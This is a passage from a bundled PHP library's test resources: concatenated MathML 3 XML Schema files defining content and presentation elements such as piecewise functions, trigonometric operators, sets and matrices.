      </xs:complexType>
   </xs:element>
   <xs:element name="momentabout">
      <xs:complexType>
         <xs:group ref="m:ContExp"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="logbase">
      <xs:complexType>
         <xs:group ref="m:ContExp"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="type">
      <xs:attribute name="type" use="required"/>
   </xs:attributeGroup>
   <xs:attributeGroup name="order">
      <xs:attribute name="order" use="required">
         <xs:simpleType>
            <xs:restriction base="xs:token">
               <xs:enumeration value="numeric"/>
               <xs:enumeration value="lexicographic"/>
            </xs:restriction>
         </xs:simpleType>
      </xs:attribute>
   </xs:attributeGroup>
   <xs:attributeGroup name="closure">
      <xs:attribute name="closure" use="required"/>
   </xs:attributeGroup>
   <xs:element name="piecewise">
      <xs:complexType>
         <xs:choice minOccurs="0" maxOccurs="unbounded">
            <xs:element ref="m:piece"/>
            <xs:element ref="m:otherwise"/>
         </xs:choice>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="piece">
      <xs:complexType>
         <xs:sequence>
            <xs:group ref="m:ContExp"/>
            <xs:group ref="m:ContExp"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="otherwise">
      <xs:complexType>
         <xs:group ref="m:ContExp"/>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="DeprecatedContExp" abstract="true"/>
   <xs:element name="reln" substitutionGroup="m:DeprecatedContExp">
      <xs:complexType>
         <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:ContExp"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="fn" substitutionGroup="m:DeprecatedContExp">
      <xs:complexType>
         <xs:group ref="m:ContExp"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="declare" substitutionGroup="m:DeprecatedContExp">
      <xs:complexType>
         <xs:group maxOccurs="unbounded" ref="m:ContExp"/>
         <xs:attribute name="type" type="xs:string"/>
         <xs:attribute name="scope" type="xs:string"/>
         <xs:attribute name="nargs" type="xs:nonNegativeInteger"/>
         <xs:attribute name="occurrence">
            <xs:simpleType>
               <xs:restriction base="xs:token">
                  <xs:enumeration value="prefix"/>
                  <xs:enumeration value="infix"/>
                  <xs:enumeration value="function-model"/>
               </xs:restriction>
            </xs:simpleType>
         </xs:attribute>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="interval.class" abstract="true">
      <xs:complexType>
         <xs:sequence>
            <xs:group ref="m:ContExp"/>
            <xs:group ref="m:ContExp"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
         <xs:attribute name="closure"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="interval" substitutionGroup="m:interval.class"/>
   <xs:element name="unary-functional.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="inverse" substitutionGroup="m:unary-functional.class"/>
   <xs:element name="ident" substitutionGroup="m:unary-functional.class"/>
   <xs:element name="domain" substitutionGroup="m:unary-functional.class"/>
   <xs:element name="codomain" substitutionGroup="m:unary-functional.class"/>
   <xs:element name="image" substitutionGroup="m:unary-functional.class"/>
   <xs:element name="ln" substitutionGroup="m:unary-functional.class"/>
   <xs:element name="log" substitutionGroup="m:unary-functional.class"/>
   <xs:element name="moment" substitutionGroup="m:unary-functional.class"/>
   <xs:element name="lambda.class" abstract="true">
      <xs:complexType>
         <xs:sequence>
            <xs:group ref="m:BvarQ"/>
            <xs:group ref="m:DomainQ"/>
            <xs:group ref="m:ContExp"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="lambda" substitutionGroup="m:lambda.class"/>
   <xs:element name="nary-functional.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="compose" substitutionGroup="m:nary-functional.class"/>
   <xs:group name="binary-arith.class">
      <xs:choice>
         <xs:element ref="m:quotient"/>
         <xs:element ref="m:divide"/>
         <xs:element ref="m:minus"/>
         <xs:element ref="m:power"/>
         <xs:element ref="m:rem"/>
         <xs:element ref="m:root"/>
      </xs:choice>
   </xs:group>
   <xs:element name="quotient">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="divide">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="minus">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="power">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="rem">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="root">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:group name="unary-arith.class">
      <xs:choice>
         <xs:element ref="m:factorial"/>
         <!--Ambiguous content model altered (minus)--><!--Ambiguous content model altered (root)--><xs:element ref="m:abs"/>
         <xs:element ref="m:conjugate"/>
         <xs:element ref="m:arg"/>
         <xs:element ref="m:real"/>
         <xs:element ref="m:imaginary"/>
         <xs:element ref="m:floor"/>
         <xs:element ref="m:ceiling"/>
         <xs:element ref="m:exp"/>
      </xs:choice>
   </xs:group>
   <xs:element name="factorial">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="abs">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="conjugate">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="arg">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="real">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="imaginary">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="floor">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="ceiling">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="exp">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="nary-minmax.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="max" substitutionGroup="m:nary-minmax.class"/>
   <xs:element name="min" substitutionGroup="m:nary-minmax.class"/>
   <xs:element name="nary-arith.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="plus" substitutionGroup="m:nary-arith.class"/>
   <xs:element name="times" substitutionGroup="m:nary-arith.class"/>
   <xs:element name="gcd" substitutionGroup="m:nary-arith.class"/>
   <xs:element name="lcm" substitutionGroup="m:nary-arith.class"/>
   <xs:element name="nary-logical.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="and" substitutionGroup="m:nary-logical.class"/>
   <xs:element name="or" substitutionGroup="m:nary-logical.class"/>
   <xs:element name="xor" substitutionGroup="m:nary-logical.class"/>
   <xs:element name="unary-logical.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="not" substitutionGroup="m:unary-logical.class"/>
   <xs:element name="binary-logical.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="implies" substitutionGroup="m:binary-logical.class"/>
   <xs:element name="equivalent" substitutionGroup="m:binary-logical.class"/>
   <xs:element name="quantifier.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="forall" substitutionGroup="m:quantifier.class"/>
   <xs:element name="exists" substitutionGroup="m:quantifier.class"/>
   <xs:element name="nary-reln.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="eq" substitutionGroup="m:nary-reln.class"/>
   <xs:element name="gt" substitutionGroup="m:nary-reln.class"/>
   <xs:element name="lt" substitutionGroup="m:nary-reln.class"/>
   <xs:element name="geq" substitutionGroup="m:nary-reln.class"/>
   <xs:element name="leq" substitutionGroup="m:nary-reln.class"/>
   <xs:element name="binary-reln.class" abstract="true"/>
   <xs:element name="neq" substitutionGroup="m:binary-reln.class">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="approx" substitutionGroup="m:binary-reln.class">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="factorof" substitutionGroup="m:binary-reln.class">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="tendsto" substitutionGroup="m:binary-reln.class">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
         <xs:attribute name="type"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="int.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="int" substitutionGroup="m:int.class"/>
   <xs:element name="Differential-Operator.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="diff" substitutionGroup="m:Differential-Operator.class"/>
   <xs:element name="partialdiff.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="partialdiff" substitutionGroup="m:partialdiff.class"/>
   <xs:element name="unary-veccalc.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="divergence" substitutionGroup="m:unary-veccalc.class"/>
   <xs:element name="grad" substitutionGroup="m:unary-veccalc.class"/>
   <xs:element name="curl" substitutionGroup="m:unary-veccalc.class"/>
   <xs:element name="laplacian" substitutionGroup="m:unary-veccalc.class"/>
   <xs:element name="nary-setlist-constructor.class" abstract="true"/>
   <xs:element name="set" substitutionGroup="m:nary-setlist-constructor.class">
      <xs:complexType>
         <xs:sequence>
            <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:BvarQ"/>
            <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:DomainQ"/>
            <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:ContExp"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
         <xs:attribute name="type"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="list" substitutionGroup="m:nary-setlist-constructor.class">
      <xs:complexType>
         <xs:sequence>
            <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:BvarQ"/>
            <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:DomainQ"/>
            <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:ContExp"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
         <xs:attribute name="order">
            <xs:simpleType>
               <xs:restriction base="xs:token">
                  <xs:enumeration value="numeric"/>
                  <xs:enumeration value="lexicographic"/>
               </xs:restriction>
            </xs:simpleType>
         </xs:attribute>
      </xs:complexType>
   </xs:element>
   <xs:element name="nary-set.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="union" substitutionGroup="m:nary-set.class"/>
   <xs:element name="intersect" substitutionGroup="m:nary-set.class"/>
   <xs:element name="cartesianproduct" substitutionGroup="m:nary-set.class"/>
   <xs:element name="binary-set.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="in" substitutionGroup="m:binary-set.class"/>
   <xs:element name="notin" substitutionGroup="m:binary-set.class"/>
   <xs:element name="notsubset" substitutionGroup="m:binary-set.class"/>
   <xs:element name="notprsubset" substitutionGroup="m:binary-set.class"/>
   <xs:element name="setdiff" substitutionGroup="m:binary-set.class"/>
   <xs:element name="nary-set-reln.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="subset" substitutionGroup="m:nary-set-reln.class"/>
   <xs:element name="prsubset" substitutionGroup="m:nary-set-reln.class"/>
   <xs:element name="unary-set.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="card" substitutionGroup="m:unary-set.class"/>
   <xs:element name="sum.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="sum" substitutionGroup="m:sum.class"/>
   <xs:element name="product.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="product" substitutionGroup="m:product.class"/>
   <xs:element name="limit.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="limit" substitutionGroup="m:limit.class"/>
   <xs:element name="unary-elementary.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="sin" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="cos" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="tan" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="sec" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="csc" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="cot" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="sinh" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="cosh" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="tanh" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="sech" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="csch" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="coth" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="arcsin" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="arccos" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="arctan" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="arccosh" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="arccot" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="arccoth" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="arccsc" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="arccsch" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="arcsec" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="arcsech" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="arcsinh" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="arctanh" substitutionGroup="m:unary-elementary.class"/>
   <xs:element name="nary-stats.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="mean" substitutionGroup="m:nary-stats.class"/>
   <xs:element name="sdev" substitutionGroup="m:nary-stats.class"/>
   <xs:element name="variance" substitutionGroup="m:nary-stats.class"/>
   <xs:element name="median" substitutionGroup="m:nary-stats.class"/>
   <xs:element name="mode" substitutionGroup="m:nary-stats.class"/>
   <xs:element name="nary-constructor.class" abstract="true">
      <xs:complexType>
         <xs:sequence>
            <xs:group ref="m:BvarQ"/>
            <xs:group ref="m:DomainQ"/>
            <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:ContExp"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="vector" substitutionGroup="m:nary-constructor.class"/>
   <xs:element name="matrix" substitutionGroup="m:nary-constructor.class"/>
   <xs:element name="matrixrow" substitutionGroup="m:nary-constructor.class"/>
   <xs:element name="unary-linalg.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="determinant" substitutionGroup="m:unary-linalg.class"/>
   <xs:element name="transpose" substitutionGroup="m:unary-linalg.class"/>
   <xs:element name="nary-linalg.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="selector" substitutionGroup="m:nary-linalg.class"/>
   <xs:element name="binary-linalg.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="vectorproduct" substitutionGroup="m:binary-linalg.class"/>
   <xs:element name="scalarproduct" substitutionGroup="m:binary-linalg.class"/>
   <xs:element name="outerproduct" substitutionGroup="m:binary-linalg.class"/>
   <xs:element name="constant-set.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="integers" substitutionGroup="m:constant-set.class"/>
   <xs:element name="reals" substitutionGroup="m:constant-set.class"/>
   <xs:element name="rationals" substitutionGroup="m:constant-set.class"/>
   <xs:element name="naturalnumbers" substitutionGroup="m:constant-set.class"/>
   <xs:element name="complexes" substitutionGroup="m:constant-set.class"/>
   <xs:element name="primes" substitutionGroup="m:constant-set.class"/>
   <xs:element name="emptyset" substitutionGroup="m:constant-set.class"/>
   <xs:element name="constant-arith.class" abstract="true">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:DefEncAtt"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="exponentiale" substitutionGroup="m:constant-arith.class"/>
   <xs:element name="imaginaryi" substitutionGroup="m:constant-arith.class"/>
   <xs:element name="notanumber" substitutionGroup="m:constant-arith.class"/>
   <xs:element name="true" substitutionGroup="m:constant-arith.class"/>
   <xs:element name="false" substitutionGroup="m:constant-arith.class"/>
   <xs:element name="pi" substitutionGroup="m:constant-arith.class"/>
   <xs:element name="eulergamma" substitutionGroup="m:constant-arith.class"/>
   <xs:element name="infinity" substitutionGroup="m:constant-arith.class"/>
</xs:schema>vendor/phpoffice/math/tests/resources/schema/mathml3/mathml3-strict-content.xsd000066600000015234151150442730023774 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:m="http://www.w3.org/1998/Math/MathML" elementFormDefault="qualified" targetNamespace="http://www.w3.org/1998/Math/MathML">
   <xs:group name="ContExp">
      <xs:choice>
<!--Ambiguous content model altered (ContExp)-->
         <xs:element ref="m:apply"/>
         <xs:element ref="m:bind"/>
         <xs:element ref="m:ci"/>
         <xs:element ref="m:cn"/>
         <xs:element ref="m:csymbol"/>
         <xs:element ref="m:cbytes"/>
         <xs:element ref="m:cerror"/>
         <xs:element ref="m:cs"/>
         <xs:element ref="m:share"/>
         <xs:element ref="m:piecewise"/>
         <xs:element ref="m:DeprecatedContExp"/>
         <xs:element ref="m:interval.class"/>
         <xs:element ref="m:unary-functional.class"/>
         <xs:element ref="m:lambda.class"/>
         <xs:element ref="m:nary-functional.class"/>
         <xs:group ref="m:binary-arith.class"/>
         <xs:group ref="m:unary-arith.class"/>
         <xs:element ref="m:nary-minmax.class"/>
         <xs:element ref="m:nary-arith.class"/>
         <xs:element ref="m:nary-logical.class"/>
         <xs:element ref="m:unary-logical.class"/>
         <xs:element ref="m:binary-logical.class"/>
         <xs:element ref="m:quantifier.class"/>
         <xs:element ref="m:nary-reln.class"/>
         <xs:element ref="m:binary-reln.class"/>
         <xs:element ref="m:int.class"/>
         <xs:element ref="m:Differential-Operator.class"/>
         <xs:element ref="m:partialdiff.class"/>
         <xs:element ref="m:unary-veccalc.class"/>
         <xs:element ref="m:nary-setlist-constructor.class"/>
         <xs:element ref="m:nary-set.class"/>
         <xs:element ref="m:binary-set.class"/>
         <xs:element ref="m:nary-set-reln.class"/>
         <xs:element ref="m:unary-set.class"/>
         <xs:element ref="m:sum.class"/>
         <xs:element ref="m:product.class"/>
         <xs:element ref="m:limit.class"/>
         <xs:element ref="m:unary-elementary.class"/>
         <xs:element ref="m:nary-stats.class"/>
         <xs:element ref="m:nary-constructor.class"/>
         <xs:element ref="m:unary-linalg.class"/>
         <xs:element ref="m:nary-linalg.class"/>
         <xs:element ref="m:binary-linalg.class"/>
         <xs:element ref="m:constant-set.class"/>
         <xs:element ref="m:constant-arith.class"/>
      </xs:choice>
   </xs:group>
   <xs:element name="cn">
      <xs:complexType>
         <xs:complexContent>
            <xs:extension base="m:cn.content">
               <xs:attributeGroup ref="m:cn.attributes"/>
            </xs:extension>
         </xs:complexContent>
      </xs:complexType>
   </xs:element>
   <xs:group name="semantics-ci">
      <xs:sequence>
         <xs:element name="semantics">
            <xs:complexType>
               <xs:sequence>
                  <xs:choice>
                     <xs:element ref="m:ci"/>
                     <xs:group ref="m:semantics-ci"/>
                  </xs:choice>
                  <xs:choice minOccurs="0" maxOccurs="unbounded">
                     <xs:element ref="m:annotation"/>
                     <xs:element ref="m:annotation-xml"/>
                  </xs:choice>
               </xs:sequence>
               <xs:attributeGroup ref="m:semantics.attributes"/>
            </xs:complexType>
         </xs:element>
      </xs:sequence>
   </xs:group>
   <xs:group name="semantics-contexp">
      <xs:sequence>
         <xs:element name="semantics">
            <xs:complexType>
               <xs:sequence>
                  <xs:group ref="m:ContExp"/>
                  <xs:choice minOccurs="0" maxOccurs="unbounded">
                     <xs:element ref="m:annotation"/>
                     <xs:element ref="m:annotation-xml"/>
                  </xs:choice>
               </xs:sequence>
               <xs:attributeGroup ref="m:semantics.attributes"/>
            </xs:complexType>
         </xs:element>
      </xs:sequence>
   </xs:group>
   <xs:element name="ci">
      <xs:complexType>
         <xs:complexContent>
            <xs:extension base="m:ci.content">
               <xs:attributeGroup ref="m:ci.attributes"/>
            </xs:extension>
         </xs:complexContent>
      </xs:complexType>
   </xs:element>
   <xs:element name="csymbol">
      <xs:complexType>
         <xs:complexContent>
            <xs:extension base="m:csymbol.content">
               <xs:attributeGroup ref="m:csymbol.attributes"/>
            </xs:extension>
         </xs:complexContent>
      </xs:complexType>
   </xs:element>
   <xs:simpleType name="SymbolName">
      <xs:restriction base="xs:NCName"/>
   </xs:simpleType>
   <xs:group name="BvarQ">
      <xs:sequence>
         <xs:element minOccurs="0" maxOccurs="unbounded" ref="m:bvar"/>
      </xs:sequence>
   </xs:group>
   <xs:element name="apply">
      <xs:complexType>
         <xs:complexContent>
            <xs:extension base="m:apply.content">
               <xs:attributeGroup ref="m:CommonAtt"/>
            </xs:extension>
         </xs:complexContent>
      </xs:complexType>
   </xs:element>
   <xs:element name="bind">
      <xs:complexType>
         <xs:complexContent>
            <xs:extension base="m:bind.content">
               <xs:attributeGroup ref="m:CommonAtt"/>
            </xs:extension>
         </xs:complexContent>
      </xs:complexType>
   </xs:element>
   <xs:element name="share">
      <xs:complexType>
         <xs:attributeGroup ref="m:CommonAtt"/>
         <xs:attributeGroup ref="m:src"/>
      </xs:complexType>
   </xs:element>
   <xs:element name="cerror">
      <xs:complexType>
         <xs:sequence>
            <xs:element ref="m:csymbol"/>
            <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:ContExp"/>
         </xs:sequence>
         <xs:attributeGroup ref="m:cerror.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:attributeGroup name="cerror.attributes">
      <xs:attributeGroup ref="m:CommonAtt"/>
   </xs:attributeGroup>
   <xs:element name="cbytes">
      <xs:complexType>
         <xs:simpleContent>
            <xs:extension base="m:base64">
               <xs:attributeGroup ref="m:cbytes.attributes"/>
            </xs:extension>
         </xs:simpleContent>
      </xs:complexType>
   </xs:element>
   <xs:simpleType name="base64">
      <xs:restriction base="xs:base64Binary"/>
   </xs:simpleType>
   <xs:element name="cs">
      <xs:complexType mixed="true">
         <xs:attributeGroup ref="m:cs.attributes"/>
      </xs:complexType>
   </xs:element>
   <xs:group name="MathExpression">
      <xs:choice>
         <xs:group ref="m:ContExp"/>
         <xs:element ref="m:PresentationExpression"/>
         <xs:group ref="m:semantics"/>
      </xs:choice>
   </xs:group>
</xs:schema>vendor/phpoffice/math/tests/resources/schema/mathml3/mathml3-presentation.xsd000066600000244141151150442730023530 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:m="http://www.w3.org/1998/Math/MathML" elementFormDefault="qualified" targetNamespace="http://www.w3.org/1998/Math/MathML">
   <xs:complexType name="ImpliedMrow">
      <xs:group minOccurs="0" maxOccurs="unbounded" ref="m:MathExpression"/>
   </xs:complexType>
   <xs:element name="TableRowExpression" abstract="true"/>
   <xs:element name="TableCellExpression" abstract="true">
      <xs:complexType>
         <xs:complexContent>
            <xs:extension base="m:ImpliedMrow">
               <xs:attributeGroup ref="m:mtd.attributes"/>
            </xs:extension>
         </xs:complexContent>
      </xs:complexType>
   </xs:element>
   <xs:group name="MstackExpression">
      <xs:choice>
         <xs:group ref="m:MathExpression"/>
         <xs:element ref="m:mscarries"/>
         <xs:element ref="m:msline"/>
         <xs:element ref="m:msrow"/>
         <xs:element ref="m:msgroup"/>
      </xs:choice>
   </xs:group>
   <xs:group name="MsrowExpression">
      <xs:choice>
         <xs:group ref="m:MathExpression"/>
         <xs:element ref="m:none"/>
      </xs:choice>
   </xs:group>
   <xs:group name="MultiScriptExpression">
      <xs:sequence>
         <xs:choice>
            <xs:group ref="m:MathExpression"/>
            <xs:element ref="m:none"/>
         </xs:choice>
         <xs:choice>
            <xs:group ref="m:MathExpression"/>
            <xs:element ref="m:none"/>
         </xs:choice>
      </xs:sequence>
   </xs:group>
   <xs:simpleType name="mpadded-length">
      <xs:restriction base="xs:string">
